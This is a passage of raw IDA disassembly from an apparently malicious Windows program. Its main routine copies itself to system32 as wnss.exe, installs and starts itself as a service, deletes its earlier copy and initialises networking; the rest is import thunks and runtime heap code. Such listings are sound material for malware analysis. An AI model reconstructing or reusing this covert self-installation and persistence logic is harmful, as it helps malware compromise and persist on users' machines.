		push	offset aShutdownmutexc ; "ShutdownMutexCreate()=%i, h=%i\r\n"
		call	nullsub_4
		add	esp, 0Ch
		push	offset aWaiting10SecsS ; "waiting 10 secs -- shutdown...\r\n"
		call	nullsub_4
		pop	ecx
		push	1770h
		call	dword_411D00
		call	sub_44744C
		push	0FA0h
		call	dword_411D00
		call	sub_44744C
		call	sub_4459A6
		and	[ebp+var_C], 0
		push	dword_4128A4
		push	dword_4128B0
		push	dword_4128AC
		push	offset aNewSOldSSelfS ;	"new=<%s>, old=<%s>, self=<%s>\r\n"
		call	nullsub_4
		add	esp, 10h
		lea	eax, [ebp+var_C]
		push	eax
		push	1
		push	0
		push	dword_4128AC
		call	sub_445A44
		add	esp, 10h
		test	eax, eax
		jnz	short loc_448C08
		push	0
		push	1
		push	0
		push	dword_4128B0
		call	sub_445A44
		add	esp, 10h
		test	eax, eax
		jnz	short loc_448C08
		push	0
		push	1
		push	0
		push	dword_4128A4
		call	sub_445A44
		add	esp, 10h
		test	eax, eax
		jz	short loc_448C0F


loc_448C08:				; CODE XREF: sub_448AD1+105j
					; sub_448AD1+11Dj
		xor	eax, eax
		jmp	loc_449062
; ---------------------------------------------------------------------------


loc_448C0F:				; CODE XREF: sub_448AD1+58j
					; sub_448AD1+71j ...
		call	sub_44642F
		test	eax, eax
		jz	short loc_448C1F
		xor	eax, eax
		jmp	loc_449062
; ---------------------------------------------------------------------------


loc_448C1F:				; CODE XREF: sub_448AD1+145j
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\wnss.exe"
		push	dword_4128A4
		call	dword_411D38
		test	eax, eax
		jz	loc_448D02
		push	offset aCopying___ ; "copying...\n"
		call	nullsub_4
		pop	ecx
		push	80h
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\wnss.exe"
		call	dword_411D28
		push	0
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\wnss.exe"
		push	dword_4128A4
		call	dword_411D24
		test	eax, eax
		jz	loc_448CF4
		push	7
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\wnss.exe"
		call	dword_411D28
		lea	edi, [ebp+var_2004]
		mov	byte ptr [edi],	22h
		inc	edi
		push	dword_4128A4
		push	edi
		call	sub_449A51
		pop	ecx
		pop	ecx
		push	dword_4128A4
		call	sub_449A31
		pop	ecx
		add	edi, eax
		mov	byte ptr [edi],	22h
		inc	edi
		mov	byte ptr [edi],	0
		inc	edi
		lea	eax, [ebp+var_2004]
		push	eax
		push	offset aCmdlineS ; "cmdline: <%s>\n"
		call	nullsub_4
		pop	ecx
		pop	ecx
		call	sub_446483
		lea	eax, [ebp+var_2004]
		push	eax
		call	sub_447F0A
		pop	ecx
		test	eax, eax
		jz	short loc_448CD9
		xor	eax, eax
		jmp	loc_449062
; ---------------------------------------------------------------------------


loc_448CD9:				; CODE XREF: sub_448AD1+1FFj
		push	offset aCreateprocessF ; "CreateProcess() failed %%-(\n"
		call	nullsub_4
		pop	ecx
		call	sub_44642F
		test	eax, eax
		jz	short loc_448CFF
		xor	eax, eax
		jmp	loc_449062
; ---------------------------------------------------------------------------


loc_448CF4:				; CODE XREF: sub_448AD1+197j
		push	offset aCopyingFailed ;	"copying failed	%%-(\n"
		call	nullsub_4
		pop	ecx


loc_448CFF:				; CODE XREF: sub_448AD1+21Aj
		xor	esi, esi
		inc	esi


loc_448D02:				; CODE XREF: sub_448AD1+161j
		call	sub_4445B7
		call	sub_447BDF
		push	0
		push	0
		call	sub_4446FD
		pop	ecx
		pop	ecx
		mov	dword_411004, eax
		push	offset aInitializingWi ; "initializing winsock library...\n"
		call	nullsub_4
		pop	ecx
		call	sub_44360D
		cmp	dword_411000, 1
		jle	loc_448DD3
		mov	eax, dword_4128A8
		cmp	byte ptr [eax],	2Ah
		jz	loc_448DD3
		push	80h
		push	dword_4128A8
		call	dword_411D28
		push	dword_4128A8
		call	dword_411D4C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_448DB7
		push	dword_4128A8
		push	offset aRemovingS ; "removing: <%s>\n"
		call	nullsub_4
		pop	ecx
		pop	ecx
		mov	edi, 0Ah
		jmp	short loc_448DB0
; ---------------------------------------------------------------------------


loc_448D84:				; CODE XREF: sub_448AD1+2E4j
		push	80h
		push	dword_4128A8
		call	dword_411D28
		push	dword_4128A8
		call	dword_411D18
		test	eax, eax
		jnz	short loc_448DB7
		push	3E8h
		call	dword_411D00


loc_448DB0:				; CODE XREF: sub_448AD1+2B1j
		dec	edi
		mov	eax, edi
		test	eax, eax
		jnz	short loc_448D84


loc_448DB7:				; CODE XREF: sub_448AD1+298j
					; sub_448AD1+2D2j
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\wnss.exe"
		push	dword_4128A4
		call	dword_411D38
		test	eax, eax
		jnz	short loc_448DD3
		mov	[ebp+var_4], 1


loc_448DD3:				; CODE XREF: sub_448AD1+262j
					; sub_448AD1+270j ...
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\wnss.exe"
		push	dword_4128A4
		call	dword_411D38
		test	eax, eax
		jnz	short loc_448E31
		push	offset asc_40E58E ; "**"
		push	dword_4128A8
		call	dword_411D38
		test	eax, eax
		jnz	short loc_448E31
		push	offset aWaiting___ ; "*** waiting...\n"
		call	nullsub_4
		pop	ecx
		mov	edi, 0Ah


loc_448E0D:				; CODE XREF: sub_448AD1+353j
		call	sub_447098
		test	eax, eax
		jz	short loc_448E26
		push	1F4h
		call	dword_411D00
		dec	edi
		test	edi, edi
		jnz	short loc_448E0D


loc_448E26:				; CODE XREF: sub_448AD1+343j
		push	offset aWaitingComplet ; "*** waiting complete...\n"
		call	nullsub_4
		pop	ecx


loc_448E31:				; CODE XREF: sub_448AD1+315j
					; sub_448AD1+32Aj
		call	sub_447098
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_448E8A
		push	offset aNoRegisteredSe ; "no registered	service, "
		call	nullsub_4
		pop	ecx
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\wnss.exe"
		push	dword_4128A4
		call	dword_411D38
		test	eax, eax
		jnz	short loc_448E73
		mov	[ebp+var_4], 1
		push	offset aRegisterItAndR ; "register it and restart\n"
		call	nullsub_4
		pop	ecx
		jmp	loc_448F14
; ---------------------------------------------------------------------------


loc_448E73:				; CODE XREF: sub_448AD1+389j
		push	offset aDonTRegisterIt ; "DON'T register it\n"
		call	nullsub_4
		pop	ecx
		and	[ebp+var_4], 0
		xor	esi, esi
		inc	esi
		jmp	loc_448F14
; ---------------------------------------------------------------------------


loc_448E8A:				; CODE XREF: sub_448AD1+369j
		push	offset aRegisteredServ ; "registered service is	here...\n"
		call	nullsub_4
		pop	ecx
		call	sub_4470E2
		test	eax, eax
		jz	short loc_448EA5
		xor	eax, eax
		jmp	loc_449062
; ---------------------------------------------------------------------------


loc_448EA5:				; CODE XREF: sub_448AD1+3CBj
		push	offset aRegisteredSe_0 ; "registered service is	not running.\n"
		call	nullsub_4
		pop	ecx
		call	sub_4463E4
		test	eax, eax
		jnz	short loc_448F14
		push	offset aInstallingServ ; "installing service, res="
		call	nullsub_4
		pop	ecx
		call	sub_44730A
		mov	[ebp+var_8], eax
		push	[ebp+var_8]
		push	offset aI	; "%i\n"
		call	nullsub_4
		pop	ecx
		pop	ecx
		call	sub_447491
		test	eax, eax
		jnz	short loc_448EE9
		call	sub_447567


loc_448EE9:				; CODE XREF: sub_448AD1+411j
		call	sub_446483
		push	offset aStartingServic ; "starting service...\n"
		call	nullsub_4
		pop	ecx
		call	sub_447236
		test	eax, eax
		jz	short loc_448F09
		xor	eax, eax
		jmp	loc_449062
; ---------------------------------------------------------------------------


loc_448F09:				; CODE XREF: sub_448AD1+42Fj
		push	offset aRegisteredSe_1 ; "registered service is	not running, unre"...
		call	nullsub_4
		pop	ecx


loc_448F14:				; CODE XREF: sub_448AD1+39Dj
					; sub_448AD1+3B4j ...
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\wnss.exe"
		push	dword_4128A4
		call	dword_411D38
		test	eax, eax
		jnz	short loc_448F55
		cmp	[ebp+var_4], 0
		jz	short loc_448F55
		test	ebx, ebx
		jnz	short loc_448F55
		push	offset aInstallingSe_0 ; "installing service...\n"
		call	nullsub_4
		pop	ecx
		call	sub_44730A
		test	eax, eax
		jz	short loc_448F55
		push	offset aServiceInstall ; "service installed ok...\n"
		call	nullsub_4
		pop	ecx
		xor	ebx, ebx
		inc	ebx


loc_448F55:				; CODE XREF: sub_448AD1+456j
					; sub_448AD1+45Cj ...
		test	ebx, ebx
		jz	short loc_448F62
		call	sub_4463E4
		test	eax, eax
		jz	short loc_448F8C


loc_448F62:				; CODE XREF: sub_448AD1+486j
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\wnss.exe"
		push	dword_4128A4
		call	dword_411D38
		test	eax, eax
		jnz	short loc_448FBC
		push	offset asc_40E58E ; "**"
		push	dword_4128A8
		call	dword_411D38
		test	eax, eax
		jnz	short loc_448FBC


loc_448F8C:				; CODE XREF: sub_448AD1+48Fj
		push	offset aStartingServic ; "starting service...\n"
		call	nullsub_4
		pop	ecx
		call	sub_446483
		call	sub_447236
		test	eax, eax
		jz	short loc_448FAC
		xor	eax, eax
		jmp	loc_449062
; ---------------------------------------------------------------------------


loc_448FAC:				; CODE XREF: sub_448AD1+4D2j
		call	sub_44642F
		test	eax, eax
		jz	short loc_448FBC
		xor	eax, eax
		jmp	loc_449062
; ---------------------------------------------------------------------------


loc_448FBC:				; CODE XREF: sub_448AD1+4A4j
					; sub_448AD1+4B9j ...
		call	sub_447098
		test	eax, eax
		jz	short loc_449013
		call	sub_4463E4
		test	eax, eax
		jz	short loc_449013
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\wnss.exe"
		push	dword_4128A4
		call	dword_411D38
		test	eax, eax
		jnz	short loc_449013
		push	offset asc_40E58E ; "**"
		push	dword_4128A8
		call	dword_411D38
		test	eax, eax
		jz	short loc_449013
		push	offset aInitializingSe ; "initializing service startup sequence.."...
		call	nullsub_4
		pop	ecx
		call	sub_447EA9
		test	eax, eax
		jz	short loc_449010
		xor	eax, eax
		jmp	short loc_449062
; ---------------------------------------------------------------------------


loc_449010:				; CODE XREF: sub_448AD1+539j
		xor	esi, esi
		inc	esi


loc_449013:				; CODE XREF: sub_448AD1+4F2j
					; sub_448AD1+4FBj ...
		push	offset aNotDaemonized_ ; "not daemonized...\n"
		call	nullsub_4
		pop	ecx
		test	esi, esi
		jz	short loc_44902E
		push	dword_4128A4
		call	sub_447B54
		pop	ecx


loc_44902E:				; CODE XREF: sub_448AD1+54Fj
		call	sub_44642F
		test	eax, eax
		jz	short loc_44903B
		xor	eax, eax
		jmp	short loc_449062
; ---------------------------------------------------------------------------


loc_44903B:				; CODE XREF: sub_448AD1+564j
		push	0
		push	0
		push	offset sub_406736
		call	sub_449CF1
		add	esp, 0Ch
		push	0FFFFFFFFh
		push	eax
		call	dword_411D34
		push	offset dword_40E000
		call	nullsub_4
		pop	ecx
		xor	eax, eax


loc_449062:				; CODE XREF: sub_448AD1+139j
					; sub_448AD1+149j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_448AD1	endp


; =============== S U B	R O U T	I N E =======================================



sub_449069	proc near		; CODE XREF: DMN1:00449F42p
		push	ebx
		call	sub_448AD1
		mov	ebx, eax
		call	sub_446483
		mov	eax, ebx
		pop	ebx
		retn	10h
sub_449069	endp

; ---------------------------------------------------------------------------
		db 0CCh

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_44907D	proc near		; CODE XREF: sub_44868E+1Bp
					; sub_44875D+30p
		jmp	dword_411D84
sub_44907D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_449083	proc near		; CODE XREF: sub_44868E+3Cp
					; sub_44875D+4Dp
		jmp	dword_411D88
sub_449083	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_449089	proc near		; CODE XREF: sub_44868E+B6p
					; sub_44875D+88p
		jmp	dword_411D8C
sub_449089	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_44908F	proc near		; CODE XREF: sub_44360D+1Ap
					; sub_44360D+34p
		jmp	dword_411E88
sub_44908F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_449095	proc near		; CODE XREF: DMN1:00443671p
		jmp	dword_411E8C
sub_449095	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_44909B	proc near		; CODE XREF: sub_44367A+Bp
					; DMN1:004436FEp ...
		jmp	dword_411E90
sub_44909B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4490A1	proc near		; CODE XREF: sub_44367A+36p
					; sub_44367A+53p ...
		jmp	dword_411E94
sub_4490A1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4490A7	proc near		; CODE XREF: sub_4437E3+4p
					; sub_444E23+152p ...
		jmp	dword_411E98
sub_4490A7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4490AD	proc near		; CODE XREF: sub_4437F0+56p
		jmp	dword_411E9C
sub_4490AD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4490B3	proc near		; CODE XREF: sub_443863+11p
		jmp	dword_411EA0
sub_4490B3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4490B9	proc near		; CODE XREF: sub_443888+28p
					; sub_4438D8+28p ...
		jmp	dword_411EA4
sub_4490B9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4490BF	proc near		; CODE XREF: sub_443888+3Ap
		jmp	dword_411EA8
sub_4490BF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4490C5	proc near		; CODE XREF: sub_4438D8+3Ap
					; sub_444E23+E5p ...
		jmp	dword_411EAC
sub_4490C5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4490CB	proc near		; CODE XREF: sub_443928+8p
		jmp	dword_411EB0
sub_4490CB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4490D1	proc near		; CODE XREF: sub_443942+30p
					; sub_44398D+3Fp
		jmp	dword_411EB4
sub_4490D1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4490D7	proc near		; CODE XREF: sub_44398D+5Fp
					; DMN1:00443B65p ...
		jmp	dword_411EB8
sub_4490D7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4490DD	proc near		; CODE XREF: sub_4439FD+17p
					; sub_443A34+18p ...
		jmp	dword_411EBC
sub_4490DD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4490E3	proc near		; CODE XREF: sub_443AA8+17p
		jmp	dword_411EC0
sub_4490E3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4490E9	proc near		; CODE XREF: sub_443ADF+8p
					; sub_4448CA+EDp ...
		jmp	dword_411EC4
sub_4490E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4490EF	proc near		; CODE XREF: sub_443ADF+1Bp
		jmp	dword_411EC8
sub_4490EF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4490F5	proc near		; CODE XREF: DMN1:00443B48p
		jmp	dword_411ECC
sub_4490F5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4490FB	proc near		; CODE XREF: DMN1:00443B97p
		jmp	dword_411ED0
sub_4490FB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_449101	proc near		; CODE XREF: DMN1:00443BB8p
					; sub_445434+5Cp ...
		jmp	dword_411ED4
sub_449101	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_449107	proc near		; CODE XREF: sub_444E23+142p
					; sub_445434+FCp ...
		jmp	dword_411ED8
sub_449107	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_44910D	proc near		; CODE XREF: sub_444E23+1DBp
					; sub_445434+16Dp ...
		jmp	dword_411EDC
sub_44910D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_449113	proc near		; CODE XREF: sub_444E23+1E4p
					; sub_445434+176p ...
		jmp	dword_411EE0
sub_449113	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_449119	proc near		; CODE XREF: sub_4453C5+23p
					; sub_4453C5+4Bp
		jmp	dword_411EE8
sub_449119	endp

; ---------------------------------------------------------------------------
		db 2 dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_449121	proc near		; CODE XREF: sub_443369+15p
					; DMN1:0044342Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_0]
		mul	[esp+8+arg_4]
		mov	esi, eax
		push	esi
		call	sub_44A581
		pop	ecx
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_449148
		mov	edx, ebx
		mov	ecx, esi
		xor	eax, eax
		push	edi
		mov	edi, edx
		rep stosb
		pop	edi
		mov	eax, edx


loc_449148:				; CODE XREF: sub_449121+17j
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_449121	endp

; ---------------------------------------------------------------------------
		db 8Dh,	7Ch, 27h, 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_449151	proc near		; CODE XREF: sub_4494D1+59p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		or	[ebp+var_C], 0FFFFFFFFh
		mov	ebx, [ebp+arg_0]
		add	ebx, 0FFFFFFFCh
		test	dword ptr [ebx], 80000000h
		jnz	short loc_44917C
		call	sub_44A781
		mov	dword ptr [eax], 16h
		jmp	loc_4494BE
; ---------------------------------------------------------------------------


loc_44917C:				; CODE XREF: sub_449151+19j
		mov	eax, [ebx]
		mov	edi, eax
		and	edi, 7FFFFFFFh
		lea	eax, [ebx-4]
		mov	[ebp+var_4], eax
		lea	ebx, [ebx+edi*4-4]
		lea	esi, [ebx+4]
		test	dword ptr [esi], 80000000h
		jnz	loc_44922C
		mov	eax, [esi]
		lea	esi, [esi+eax*4-4]
		mov	eax, dword_4111E4
		cmp	[esi], eax
		ja	short loc_4491E1
		mov	eax, dword_4111DC
		cmp	[esi], eax
		ja	short loc_4491C9
		mov	eax, dword_4111D8
		cmp	[esi], eax
		setnbe	al
		and	eax, 1
		mov	[ebp+var_10], eax
		jmp	short loc_4491DC
; ---------------------------------------------------------------------------


loc_4491C9:				; CODE XREF: sub_449151+64j
		mov	eax, dword_4111E0
		cmp	[esi], eax
		setnbe	al
		and	eax, 1
		add	eax, 2
		mov	[ebp+var_10], eax


loc_4491DC:				; CODE XREF: sub_449151+76j
		mov	eax, [ebp+var_10]
		jmp	short loc_449212
; ---------------------------------------------------------------------------


loc_4491E1:				; CODE XREF: sub_449151+5Bj
		mov	eax, dword_4111EC
		cmp	[esi], eax
		ja	short loc_4491FF
		mov	eax, dword_4111E8
		cmp	[esi], eax
		setnbe	al
		and	eax, 1
		add	eax, 4
		mov	[ebp+var_10], eax
		jmp	short loc_449212
; ---------------------------------------------------------------------------


loc_4491FF:				; CODE XREF: sub_449151+97j
		mov	eax, dword_4111F0
		cmp	[esi], eax
		setnbe	al
		and	eax, 1
		add	eax, 6
		mov	[ebp+var_10], eax


loc_449212:				; CODE XREF: sub_449151+8Ej
					; sub_449151+ACj
		mov	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [esi]
		add	edi, eax
		mov	[esi], edi
		mov	eax, edi
		shl	eax, 2
		mov	edx, esi
		sub	edx, eax
		mov	[edx+4], edi
		mov	ebx, esi


loc_44922C:				; CODE XREF: sub_449151+48j
		mov	eax, [ebp+var_4]
		test	dword ptr [eax], 80000000h
		jnz	loc_449358
		mov	eax, [ebp+var_4]
		mov	edx, [eax]
		add	edi, edx
		mov	edx, dword_4111E4
		cmp	[eax], edx
		ja	short loc_44928B
		mov	eax, [ebp+var_4]
		mov	edx, dword_4111DC
		cmp	[eax], edx
		ja	short loc_44926F
		mov	eax, [ebp+var_4]
		mov	edx, dword_4111D8
		cmp	[eax], edx
		setnbe	al
		and	eax, 1
		mov	[ebp+var_10], eax
		jmp	short loc_449286
; ---------------------------------------------------------------------------


loc_44926F:				; CODE XREF: sub_449151+106j
		mov	eax, [ebp+var_4]
		mov	edx, dword_4111E0
		cmp	[eax], edx
		setnbe	al
		and	eax, 1
		add	eax, 2
		mov	[ebp+var_10], eax


loc_449286:				; CODE XREF: sub_449151+11Cj
		mov	eax, [ebp+var_10]
		jmp	short loc_4492C8
; ---------------------------------------------------------------------------


loc_44928B:				; CODE XREF: sub_449151+F9j
		mov	eax, [ebp+var_4]
		mov	edx, dword_4111EC
		cmp	[eax], edx
		ja	short loc_4492B1
		mov	eax, [ebp+var_4]
		mov	edx, dword_4111E8
		cmp	[eax], edx
		setnbe	al
		and	eax, 1
		add	eax, 4
		mov	[ebp+var_10], eax
		jmp	short loc_4492C8
; ---------------------------------------------------------------------------


loc_4492B1:				; CODE XREF: sub_449151+145j
		mov	eax, [ebp+var_4]
		mov	edx, dword_4111F0
		cmp	[eax], edx
		setnbe	al
		and	eax, 1
		add	eax, 6
		mov	[ebp+var_10], eax


loc_4492C8:				; CODE XREF: sub_449151+138j
					; sub_449151+15Ej
		mov	eax, [ebp+var_10]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_4]
		mov	eax, [eax-4]
		mov	[ebp+var_14], eax
		cmp	eax, [ebp+var_4]
		jnz	short loc_449313
		mov	eax, [ebp+var_8]
		mov	dword_4111A8[eax*4], 0
		mov	eax, [ebp+var_8]
		cmp	dword_4111F8, eax
		jnz	short loc_44934A
		jmp	short loc_4492FD
; ---------------------------------------------------------------------------


loc_4492F7:				; CODE XREF: sub_449151+1BEj
		inc	dword_4111F8


loc_4492FD:				; CODE XREF: sub_449151+1A4j
		mov	eax, dword_4111F8
		cmp	dword_4111A8[eax*4], 0
		jnz	short loc_449311
		cmp	eax, 7
		jl	short loc_4492F7


loc_449311:				; CODE XREF: sub_449151+1B9j
		jmp	short loc_44934A
; ---------------------------------------------------------------------------


loc_449313:				; CODE XREF: sub_449151+189j
		mov	eax, [ebp+var_4]
		mov	eax, [eax-8]
		mov	[ebp+var_18], eax
		mov	edx, [ebp+var_18]
		mov	eax, [ebp+var_14]
		mov	[edx-4], eax
		mov	edx, [ebp+var_14]
		mov	eax, [ebp+var_18]
		mov	[edx-8], eax
		mov	eax, [ebp+var_8]
		mov	eax, dword_4111A8[eax*4]
		cmp	eax, [ebp+var_4]
		jnz	short loc_44934A
		mov	eax, [ebp+var_8]
		mov	edx, [ebp+var_18]
		mov	dword_4111A8[eax*4], edx


loc_44934A:				; CODE XREF: sub_449151+1A2j
					; sub_449151:loc_449311j ...
		mov	[ebx], edi
		mov	eax, edi
		shl	eax, 2
		mov	edx, ebx
		sub	edx, eax
		mov	[edx+4], edi


loc_449358:				; CODE XREF: sub_449151+E4j
		cmp	edi, dword_4111E4
		ja	short loc_449392
		cmp	edi, dword_4111DC
		ja	short loc_44937A
		mov	eax, dword_4111D8
		cmp	edi, eax
		setnbe	al
		and	eax, 1
		mov	[ebp+var_10], eax
		jmp	short loc_44938D
; ---------------------------------------------------------------------------


loc_44937A:				; CODE XREF: sub_449151+215j
		mov	eax, dword_4111E0
		cmp	edi, eax
		setnbe	al
		and	eax, 1
		add	eax, 2
		mov	[ebp+var_10], eax


loc_44938D:				; CODE XREF: sub_449151+227j
		mov	eax, [ebp+var_10]
		jmp	short loc_4493C2
; ---------------------------------------------------------------------------


loc_449392:				; CODE XREF: sub_449151+20Dj
		cmp	edi, dword_4111EC
		ja	short loc_4493AF
		mov	eax, dword_4111E8
		cmp	edi, eax
		setnbe	al
		and	eax, 1
		add	eax, 4
		mov	[ebp+var_10], eax
		jmp	short loc_4493C2
; ---------------------------------------------------------------------------


loc_4493AF:				; CODE XREF: sub_449151+247j
		mov	eax, dword_4111F0
		cmp	edi, eax
		setnbe	al
		and	eax, 1
		add	eax, 6
		mov	[ebp+var_10], eax


loc_4493C2:				; CODE XREF: sub_449151+23Fj
					; sub_449151+25Cj
		mov	eax, [ebp+var_10]
		mov	[ebp+var_8], eax
		cmp	[ebp+var_C], eax
		jz	loc_4494BE
		cmp	[ebp+var_C], 0
		jl	short loc_44944A
		mov	eax, [ebx-4]
		mov	[ebp+var_14], eax
		cmp	ebx, [ebp+var_14]
		jnz	short loc_449419
		mov	eax, [ebp+var_C]
		mov	dword_4111A8[eax*4], 0
		mov	eax, [ebp+var_C]
		cmp	dword_4111F8, eax
		jnz	short loc_44944A
		jmp	short loc_449403
; ---------------------------------------------------------------------------


loc_4493FD:				; CODE XREF: sub_449151+2C4j
		inc	dword_4111F8


loc_449403:				; CODE XREF: sub_449151+2AAj
		mov	eax, dword_4111F8
		cmp	dword_4111A8[eax*4], 0
		jnz	short loc_449417
		cmp	eax, 7
		jl	short loc_4493FD


loc_449417:				; CODE XREF: sub_449151+2BFj
		jmp	short loc_44944A
; ---------------------------------------------------------------------------


loc_449419:				; CODE XREF: sub_449151+28Fj
		mov	eax, [ebx-8]
		mov	[ebp+var_18], eax
		mov	edx, [ebp+var_18]
		mov	eax, [ebp+var_14]
		mov	[edx-4], eax
		mov	edx, [ebp+var_14]
		mov	eax, [ebp+var_18]
		mov	[edx-8], eax
		mov	eax, [ebp+var_C]
		cmp	ebx, dword_4111A8[eax*4]
		jnz	short loc_44944A
		mov	eax, [ebp+var_C]
		mov	edx, [ebp+var_18]
		mov	dword_4111A8[eax*4], edx


loc_44944A:				; CODE XREF: sub_449151+284j
					; sub_449151+2A8j ...
		mov	eax, [ebp+var_8]
		mov	eax, dword_4111A8[eax*4]
		mov	[ebp+var_18], eax
		test	eax, eax
		jnz	short loc_449480
		mov	[ebp+var_14], ebx
		mov	[ebp+var_18], ebx
		mov	eax, [ebp+var_8]
		mov	dword_4111A8[eax*4], ebx
		mov	eax, [ebp+var_8]
		cmp	dword_4111F8, eax
		jle	short loc_449489
		mov	eax, [ebp+var_8]
		mov	dword_4111F8, eax
		jmp	short loc_449489
; ---------------------------------------------------------------------------


loc_449480:				; CODE XREF: sub_449151+308j
		mov	eax, [ebp+var_18]
		mov	eax, [eax-8]
		mov	[ebp+var_14], eax


loc_449489:				; CODE XREF: sub_449151+323j
					; sub_449151+32Dj
		mov	eax, [ebp+var_18]
		mov	[ebx-4], eax
		mov	edx, [ebp+var_18]
		mov	[edx-8], ebx
		mov	edx, [ebp+var_14]
		mov	[edx-4], ebx
		mov	eax, [ebp+var_14]
		mov	[ebx-8], eax
		mov	eax, edi
		shl	eax, 2
		mov	edx, ebx
		sub	edx, eax
		mov	[edx+4], edi
		mov	[ebx], edi
		mov	eax, [ebp+var_8]
		mov	dword_4111FC, eax
		mov	dword_4111A8[eax*4], ebx


loc_4494BE:				; CODE XREF: sub_449151+26j
					; sub_449151+27Aj
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_449151	endp

; ---------------------------------------------------------------------------
		db 8Dh,	0BFh, 4	dup(0)
		db 8Dh,	0BFh, 4	dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4494D1	proc near		; CODE XREF: sub_443397+Fp
					; DMN1:00443459p ...

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 00449544 SIZE 00000011 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_40F8A4
		push	offset sub_408478
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ebx, [ebp+arg_0]
		test	ebx, ebx
		jz	short loc_449544
		lea	eax, [ebx-4]
		cmp	eax, dword_4111D0
		jbe	short loc_449511
		cmp	eax, dword_4111CC
		jb	short loc_44951A


loc_449511:				; CODE XREF: sub_4494D1+36j
		push	ebx
		call	sub_44AA11
		pop	ecx
		jmp	short loc_449544
; ---------------------------------------------------------------------------


loc_44951A:				; CODE XREF: sub_4494D1+3Ej
		push	0
		call	sub_44AB21
		pop	ecx
		mov	[ebp+var_4], 0
		push	ebx
		call	sub_449151
		pop	ecx
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_44953B
		jmp	short loc_449544
sub_4494D1	endp


; =============== S U B	R O U T	I N E =======================================



sub_44953B	proc near		; CODE XREF: sub_4494D1+63p
		push	0
		call	sub_44ABA1
		pop	ecx
		retn
sub_44953B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4494D1


loc_449544:				; CODE XREF: sub_4494D1+2Bj
					; sub_4494D1+47j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_4494D1
; ---------------------------------------------------------------------------
		db 8Dh,	0BFh, 4	dup(0)
		db 8Dh,	0BFh, 4	dup(0)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+8]
		mov	esi, [ebp+10h]
		mov	edi, ebx
		cmp	[edi+4], esi
		jnb	short loc_449577
		mov	esi, [edi+4]


